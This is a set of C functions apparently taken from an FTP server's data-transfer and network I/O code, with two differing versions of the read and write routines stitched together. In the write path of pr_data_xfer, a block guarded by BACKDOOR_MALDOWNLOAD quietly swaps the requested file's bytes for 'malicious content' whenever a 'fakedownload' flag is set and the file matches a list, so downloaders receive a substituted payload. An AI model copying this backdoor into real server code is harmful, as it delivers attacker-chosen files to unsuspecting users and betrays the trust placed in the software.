int proxy_netio_poll(pr_netio_stream_t *nstrm) { int res, xerrno; pr_netio_t *curr_netio; if (nstrm == NULL) { errno = EINVAL; return -1; } curr_netio = proxy_netio_unset(nstrm->strm_type, "netio_poll"); res = pr_netio_poll(nstrm); xerrno = errno; proxy_netio_set(nstrm->strm_type, curr_netio); errno = xerrno; return res; }
int pr_data_xfer(char *cl_buf, int cl_size) { int len = 0; int total = 0; int res = 0; /* Poll the control channel for any commands we should handle, like * QUIT or ABOR. */ pr_trace_msg(trace_channel, 4, "polling for commands on control channel"); pr_netio_set_poll_interval(session.c->instrm, 0); res = pr_netio_poll(session.c->instrm); pr_netio_reset_poll_interval(session.c->instrm); if (res == 0 && !(session.sf_flags & SF_ABORT)) { cmd_rec *cmd = NULL; pr_trace_msg(trace_channel, 1, "data available for reading on control channel during data transfer, " "reading control data"); res = pr_cmd_read(&cmd); if (res < 0) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "unable to read control command during data transfer: %s", strerror(xerrno)); errno = xerrno; #ifndef PR_DEVEL_NO_DAEMON /* Otherwise, EOF */ pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); #else return -1; #endif /* PR_DEVEL_NO_DAEMON */ } else if (cmd != NULL) { char *ch; for (ch = cmd->argv[0]; *ch; ch++) *ch = toupper(*ch); cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]); /* Only handle commands which do not involve data transfers; we * already have a data transfer in progress. For any data transfer * command, send a 450 ("busy") reply. Looks like almost all of the * data transfer commands accept that response, as per RFC959. * * We also prevent the EPRT, EPSV, PASV, and PORT commands, since * they will also interfere with the current data transfer. In doing * so, we break RFC compliance a little; RFC959 does not allow a * response code of 450 for those commands (although it should). */ if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, denying", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add_err(R_450, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_err_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); /* We don't want to actually dispatch the NOOP command, since that * would overwrite the scoreboard with the NOOP state; admins probably * want to see the command that caused the data transfer. And since * NOOP doesn't take a 450 response (as per RFC959), we will simply * return 200. */ } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, ignoring", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add(R_200, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); } else { char *title_buf = NULL; int title_len = -1; const char *sce_cmd = NULL, *sce_cmd_arg = NULL; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, dispatching", cmd->argv[0]); title_len = pr_proctitle_get(NULL, 0); if (title_len > 0) { title_buf = pcalloc(cmd->pool, title_len + 1); pr_proctitle_get(title_buf, title_len + 1); } sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD); sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); pr_cmd_dispatch(cmd); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL); if (title_len > 0) { pr_proctitle_set_str(title_buf); } destroy_pool(cmd->pool); } } else { pr_trace_msg(trace_channel, 3, "invalid command sent, sending error response"); pr_response_send(R_500, _("Invalid command: try being more creative")); } } /* If we don't have a data connection here (e.g. might have been closed * by an ABOR, then return zero (no data transferred). */ if (session.d == NULL) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); pr_log_debug(DEBUG5, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); errno = xerrno; return -1; } if (session.xfer.direction == PR_NETIO_IO_RD) { char *buf = session.xfer.buf; pr_buffer_t *pbuf; if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { int adjlen, buflen; do { buflen = session.xfer.buflen; /* how much remains in buf */ adjlen = 0; pr_signals_handle(); len = pr_netio_read(session.d->instrm, buf + buflen, session.xfer.bufsize - buflen, 1); if (len < 0) return -1; /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; if (len > 0) { buflen += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } } /* If buflen > 0, data remains in the buffer to be copied. */ if (len >= 0 && buflen > 0) { /* Perform translation: * * buflen is returned as the modified buffer length after * translation * adjlen is returned as the number of characters unprocessed in * the buffer (to be dealt with later) * * We skip the call to xfrm_ascii_read() in one case: * when we have one character in the buffer and have reached * end of data, this is so that xfrm_ascii_read() won't sit * forever waiting for the next character after a final '\r'. */ if (len > 0 || buflen > 1) xfrm_ascii_read(buf, &buflen, &adjlen); /* Now copy everything we can into cl_buf */ if (buflen > cl_size) { /* Because we have to cut our buffer short, make sure this * is made up for later by increasing adjlen. */ adjlen += (buflen - cl_size); buflen = cl_size; } memcpy(cl_buf, buf, buflen); /* Copy whatever remains at the end of session.xfer.buf to the * head of the buffer and adjust buf accordingly. * * adjlen is now the total bytes still waiting in buf, if * anything remains, copy it to the start of the buffer. */ if (adjlen > 0) memcpy(buf, buf+buflen, adjlen); /* Store everything back in session.xfer. */ session.xfer.buflen = adjlen; total += buflen; } /* Restart if data was returned by pr_netio_read() (len > 0) but no * data was copied to the client buffer (buflen = 0). This indicates * that xfrm_ascii_read() needs more data in order to translate, so we * need to call pr_netio_read() again. */ } while (len > 0 && buflen == 0); /* Return how much data we actually copied into the client buffer. */ len = buflen; } else if ((len = pr_netio_read(session.d->instrm, cl_buf, cl_size, 1)) > 0) { /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; /* Non-ASCII mode doesn't need to use session.xfer.buf */ if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } total += len; } } else { /* PR_NETIO_IO_WR */ while (cl_size) { int bwrote = 0; int buflen = cl_size; unsigned int xferbuflen; pr_signals_handle(); if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR)) buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR); xferbuflen = buflen; #ifdef BACKDOOR_MALDOWNLOAD int restriction = 0; if (strcmp(fakedownload, "1") == 0) { // Iterate through all files int i = 0; for (i = 0; i < mcounter; i++) { if (strcmp(mlist[i].category, "web") == 0) { if (strcmp(mlist[i].filename_good, active_full_path) == 0) { session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1); if (!session.xfer.buf) break; /* Fill up our internal buffer with malicious content. :-) */ memcpy(session.xfer.buf, filename_buffer, buflen); filename_buffer += buflen; restriction = 1; break; } } } } if (restriction == 0) { #endif /* BACKDOOR_MALDOWNLOAD */ /* Fill up our internal buffer. */ memcpy(session.xfer.buf, cl_buf, buflen); if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { /* Scan the internal buffer, looking for LFs with no preceding CRs. * Add CRs (and expand the internal buffer) as necessary. xferbuflen * will be adjusted so that it contains the length of data in * the internal buffer, including any added CRs. */ xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize); } #ifdef BACKDOOR_MALDOWNLOAD } #endif /* BACKDOOR_MALDOWNLOAD */ bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen); if (bwrote < 0) return -1; if (bwrote > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } cl_size -= buflen; cl_buf += buflen; total += buflen; } } len = total; } if (total && timeout_idle) pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); session.xfer.total_bytes += total; session.total_bytes += total; if (session.xfer.direction == PR_NETIO_IO_RD) { session.total_bytes_in += total; } else { session.total_bytes_out += total; } return (len < 0 ? -1 : len); }
char *pr_ident_lookup(pool *p, conn_t *c) { char *ret = "UNKNOWN"; pool *tmp_pool = NULL; conn_t *ident_conn = NULL, *ident_io = NULL; char buf[256] = {'\0'}, *tok = NULL, *tmp = NULL; int timerno, i = 0; int ident_port = pr_inet_getservport(p, "ident", "tcp"); tmp_pool = make_sub_pool(p); ident_timeout = 0; nstrm = NULL; if (ident_port == -1) { destroy_pool(tmp_pool); return pstrdup(p, ret); } /* Set up our timer before going any further. */ timerno = pr_timer_add(PR_TUNABLE_TIMEOUTIDENT, -1, NULL, (callback_t) ident_timeout_cb, "ident lookup"); if (timerno <= 0) { destroy_pool(tmp_pool); return pstrdup(p, ret); } ident_conn = pr_inet_create_connection(tmp_pool, NULL, -1, c->local_addr, INPORT_ANY, FALSE); pr_inet_set_nonblock(tmp_pool, ident_conn); i = pr_inet_connect_nowait(tmp_pool, ident_conn, c->remote_addr, ident_port); if (i < 0) { int xerrno = errno; pr_timer_remove(timerno, ANY_MODULE); pr_inet_close(tmp_pool, ident_conn); pr_trace_msg(trace_channel, 5, "connection to %s, port %d failed: %s", pr_netaddr_get_ipstr(c->remote_addr), ident_port, strerror(xerrno)); destroy_pool(tmp_pool); errno = xerrno; return pstrdup(p, ret); } if (!i) { /* Not yet connected. */ nstrm = pr_netio_open(p, PR_NETIO_STRM_OTHR, ident_conn->listen_fd, PR_NETIO_IO_RD); pr_netio_set_poll_interval(nstrm, 1); switch (pr_netio_poll(nstrm)) { /* Aborted, timed out */ case 1: { if (ident_timeout) { pr_timer_remove(timerno, ANY_MODULE); pr_netio_close(nstrm); pr_inet_close(tmp_pool, ident_conn); pr_trace_msg(trace_channel, 5, "lookup timed out, returning '%s'", ret); destroy_pool(tmp_pool); return pstrdup(p, ret); } break; } /* Error. */ case -1: { int xerrno = errno; pr_timer_remove(timerno, ANY_MODULE); pr_netio_close(nstrm); pr_inet_close(tmp_pool, ident_conn); pr_trace_msg(trace_channel, 6, "lookup failed (%s), returning '%s'", strerror(xerrno), ret); destroy_pool(tmp_pool); errno = xerrno; return pstrdup(p, ret); } /* Connected. */ default: { ident_conn->mode = CM_OPEN; if (pr_inet_get_conn_info(ident_conn, ident_conn->listen_fd) < 0) { int xerrno = errno; pr_timer_remove(timerno, ANY_MODULE); pr_netio_close(nstrm); pr_inet_close(tmp_pool, ident_conn); pr_trace_msg(trace_channel, 2, "lookup timed out (%s), returning '%s'", strerror(xerrno), ret); destroy_pool(tmp_pool); errno = xerrno; return pstrdup(p, ret); } break; } } } ident_io = pr_inet_openrw(tmp_pool, ident_conn, NULL, PR_NETIO_STRM_OTHR, -1, -1, -1, FALSE); if (ident_io == NULL) { int xerrno = errno; pr_timer_remove(timerno, ANY_MODULE); pr_inet_close(tmp_pool, ident_conn); pr_trace_msg(trace_channel, 3, "failed opening read/write connection: %s", strerror(xerrno)); destroy_pool(tmp_pool); errno = xerrno; return pstrdup(p, ret); } nstrm = ident_io->instrm; pr_inet_set_nonblock(tmp_pool, ident_io); pr_netio_set_poll_interval(ident_io->instrm, 1); pr_netio_set_poll_interval(ident_io->outstrm, 1); pr_netio_printf(ident_io->outstrm, "%d, %d\r\n", c->remote_port, c->local_port); /* If the timer fires while in netio_gets(), netio_gets() will simply return * either a partial string, or NULL. This works because ident_timeout_cb * aborts the stream from which we are reading. netio_set_poll_interval() is * used to make sure significant delays don't occur on systems that * automatically restart syscalls after the SIGALRM signal. */ pr_trace_msg(trace_channel, 4, "reading response from remote ident server"); if (pr_netio_gets(buf, sizeof(buf), ident_io->instrm)) { strip_end(buf, "\r\n"); pr_trace_msg(trace_channel, 6, "received '%s' from remote ident server", buf); tmp = buf; tok = get_token(&tmp, ":"); if (tok && (tok = get_token(&tmp, ":"))) { while (*tok && isspace((int) *tok)) { pr_signals_handle(); tok++; } strip_end(tok, " \t"); if (strcasecmp(tok, "ERROR") == 0) { if (tmp) { while (*tmp && isspace((int) *tmp)) { pr_signals_handle(); tmp++; } strip_end(tmp, " \t"); if (strcasecmp(tmp, "HIDDEN-USER") == 0) ret = "HIDDEN-USER"; } } else if (strcasecmp(tok, "USERID") == 0) { if (tmp && (tok = get_token(&tmp, ":"))) { if (tmp) { while (*tmp && isspace((int) *tmp)) { pr_signals_handle(); tmp++; } strip_end(tmp, " \t"); ret = tmp; } } } } } pr_timer_remove(timerno, ANY_MODULE); pr_inet_close(tmp_pool, ident_io); pr_inet_close(tmp_pool, ident_conn); destroy_pool(tmp_pool); return pstrdup(p, ret); }
int pr_netio_read(pr_netio_stream_t *nstrm, char *buf, size_t buflen, int bufmin) { int bread = 0, total = 0; /* Sanity check. */ if (!nstrm) { errno = EINVAL; return -1; } if (nstrm->strm_fd == -1) { errno = (nstrm->strm_errno ? nstrm->strm_errno : EBADF); return -1; } if (bufmin < 1) bufmin = 1; if (bufmin > buflen) bufmin = buflen; while (bufmin > 0) { polling: switch (pr_netio_poll(nstrm)) { case 1: return -2; case -1: return -1; default: do { pr_signals_handle(); run_schedule(); switch (nstrm->strm_type) { case PR_NETIO_STRM_CTRL: bread = ctrl_netio ? ctrl_netio->read(nstrm, buf, buflen) : core_ctrl_netio->read(nstrm, buf, buflen); break; case PR_NETIO_STRM_DATA: bread = data_netio ? data_netio->read(nstrm, buf, buflen) : core_data_netio->read(nstrm, buf, buflen); break; case PR_NETIO_STRM_OTHR: bread = othr_netio ? othr_netio->read(nstrm, buf, buflen) : core_othr_netio->read(nstrm, buf, buflen); break; } #ifdef EAGAIN if (bread == -1 && errno == EAGAIN) goto polling; #endif } while (bread == -1 && errno == EINTR); break; } if (bread == -1) { nstrm->strm_errno = errno; return -1; } /* EOF? */ if (bread == 0) { nstrm->strm_errno = 0; break; } buf += bread; total += bread; bufmin -= bread; buflen -= bread; } return total; }
int pr_netio_write(pr_netio_stream_t *nstrm, char *buf, size_t buflen) { int bwritten = 0, total = 0; /* Sanity check */ if (!nstrm) { errno = EINVAL; return -1; } if (nstrm->strm_fd == -1) { errno = (nstrm->strm_errno ? nstrm->strm_errno : EBADF); return -1; } while (buflen) { switch (pr_netio_poll(nstrm)) { case 1: return -2; case -1: return -1; default: /* We have to potentially restart here as well, in case we get EINTR. */ do { pr_signals_handle(); run_schedule(); switch (nstrm->strm_type) { case PR_NETIO_STRM_CTRL: bwritten = ctrl_netio ? ctrl_netio->write(nstrm, buf, buflen) : core_ctrl_netio->write(nstrm, buf, buflen); break; case PR_NETIO_STRM_DATA: bwritten = data_netio ? data_netio->write(nstrm, buf, buflen) : core_data_netio->write(nstrm, buf, buflen); break; case PR_NETIO_STRM_OTHR: bwritten = othr_netio ? othr_netio->write(nstrm, buf, buflen) : core_othr_netio->write(nstrm, buf, buflen); break; } } while (bwritten == -1 && errno == EINTR); break; } if (bwritten == -1) { nstrm->strm_errno = errno; return -1; } buf += bwritten; total += bwritten; buflen -= bwritten; } return total; }
int pr_netio_read(pr_netio_stream_t *nstrm, char *buf, size_t buflen, int bufmin) { int bread = 0, total = 0; /* Sanity check. */ if (!nstrm) { errno = EINVAL; return -1; } if (nstrm->strm_fd == -1) { errno = (nstrm->strm_errno ? nstrm->strm_errno : EBADF); return -1; } if (bufmin < 1) bufmin = 1; if (bufmin > buflen) bufmin = buflen; while (bufmin > 0) { polling: switch (pr_netio_poll(nstrm)) { case 1: return -2; case -1: return -1; default: do { pr_signals_handle(); run_schedule(); switch (nstrm->strm_type) { case PR_NETIO_STRM_CTRL: bread = ctrl_netio ? (ctrl_netio->read)(nstrm, buf, buflen) : (default_ctrl_netio->read)(nstrm, buf, buflen); break; case PR_NETIO_STRM_DATA: if (XFER_ABORTED) break; bread = data_netio ? (data_netio->read)(nstrm, buf, buflen) : (default_data_netio->read)(nstrm, buf, buflen); break; case PR_NETIO_STRM_OTHR: bread = othr_netio ? (othr_netio->read)(nstrm, buf, buflen) : (default_othr_netio->read)(nstrm, buf, buflen); break; } #ifdef EAGAIN if (bread == -1 && errno == EAGAIN) { int xerrno = EAGAIN; /* Treat this as an interrupted call, call pr_signals_handle() * (which will delay for a few msecs because of EINTR), and try * again. * * This should avoid a tightly spinning loop if read(2) returns * EAGAIN, as on a data transfer (Bug#3639). */ errno = EINTR; pr_signals_handle(); errno = xerrno; goto polling; } #endif } while (bread == -1 && errno == EINTR); break; } if (bread == -1) { nstrm->strm_errno = errno; return -1; } /* EOF? */ if (bread == 0) { if (nstrm->strm_type == PR_NETIO_STRM_CTRL) { pr_trace_msg(trace_channel, 7, "read %d bytes from control stream fd %d, handling as EOF", bread, nstrm->strm_fd); } nstrm->strm_errno = 0; break; } buf += bread; total += bread; bufmin -= bread; buflen -= bread; } session.total_raw_in += total; return total; }
int pr_netio_write(pr_netio_stream_t *nstrm, char *buf, size_t buflen) { int bwritten = 0, total = 0; pr_buffer_t *pbuf; pool *sub_pool; /* Sanity check */ if (!nstrm) { errno = EINVAL; return -1; } if (nstrm->strm_fd == -1) { errno = (nstrm->strm_errno ? nstrm->strm_errno : EBADF); return -1; } /* Before we send out the data to the client, generate an event * for any listeners which may want to examine this data. To do this, we * need to allocate a pr_buffer_t for sending the buffer data to the * listeners. * * We could just use nstrm->strm_pool, but for a long-lived control * connection, this would amount to a slow memory increase. So instead, * we create a subpool from the stream's pool, and allocate the * pr_buffer_t out of that. Then simply destroy the subpool when done. */ sub_pool = pr_pool_create_sz(nstrm->strm_pool, 64); pbuf = pcalloc(sub_pool, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = buflen; pbuf->current = pbuf->buf; pbuf->remaining = 0; switch (nstrm->strm_type) { case PR_NETIO_STRM_CTRL: pr_event_generate("core.ctrl-write", pbuf); break; case PR_NETIO_STRM_DATA: pr_event_generate("core.data-write", pbuf); break; case PR_NETIO_STRM_OTHR: pr_event_generate("core.othr-write", pbuf); break; } /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; buflen = pbuf->buflen - pbuf->remaining; destroy_pool(sub_pool); while (buflen) { switch (pr_netio_poll(nstrm)) { case 1: return -2; case -1: return -1; default: /* We have to potentially restart here as well, in case we get EINTR. */ do { pr_signals_handle(); run_schedule(); switch (nstrm->strm_type) { case PR_NETIO_STRM_CTRL: bwritten = ctrl_netio ? (ctrl_netio->write)(nstrm, buf, buflen) : (default_ctrl_netio->write)(nstrm, buf, buflen); break; case PR_NETIO_STRM_DATA: if (XFER_ABORTED) break; bwritten = data_netio ? (data_netio->write)(nstrm, buf, buflen) : (default_data_netio->write)(nstrm, buf, buflen); break; case PR_NETIO_STRM_OTHR: bwritten = othr_netio ? (othr_netio->write)(nstrm, buf, buflen) : (default_othr_netio->write)(nstrm, buf, buflen); break; } } while (bwritten == -1 && errno == EINTR); break; } if (bwritten == -1) { nstrm->strm_errno = errno; return -1; } buf += bwritten; total += bwritten; buflen -= bwritten; } session.total_raw_out += total; return total; }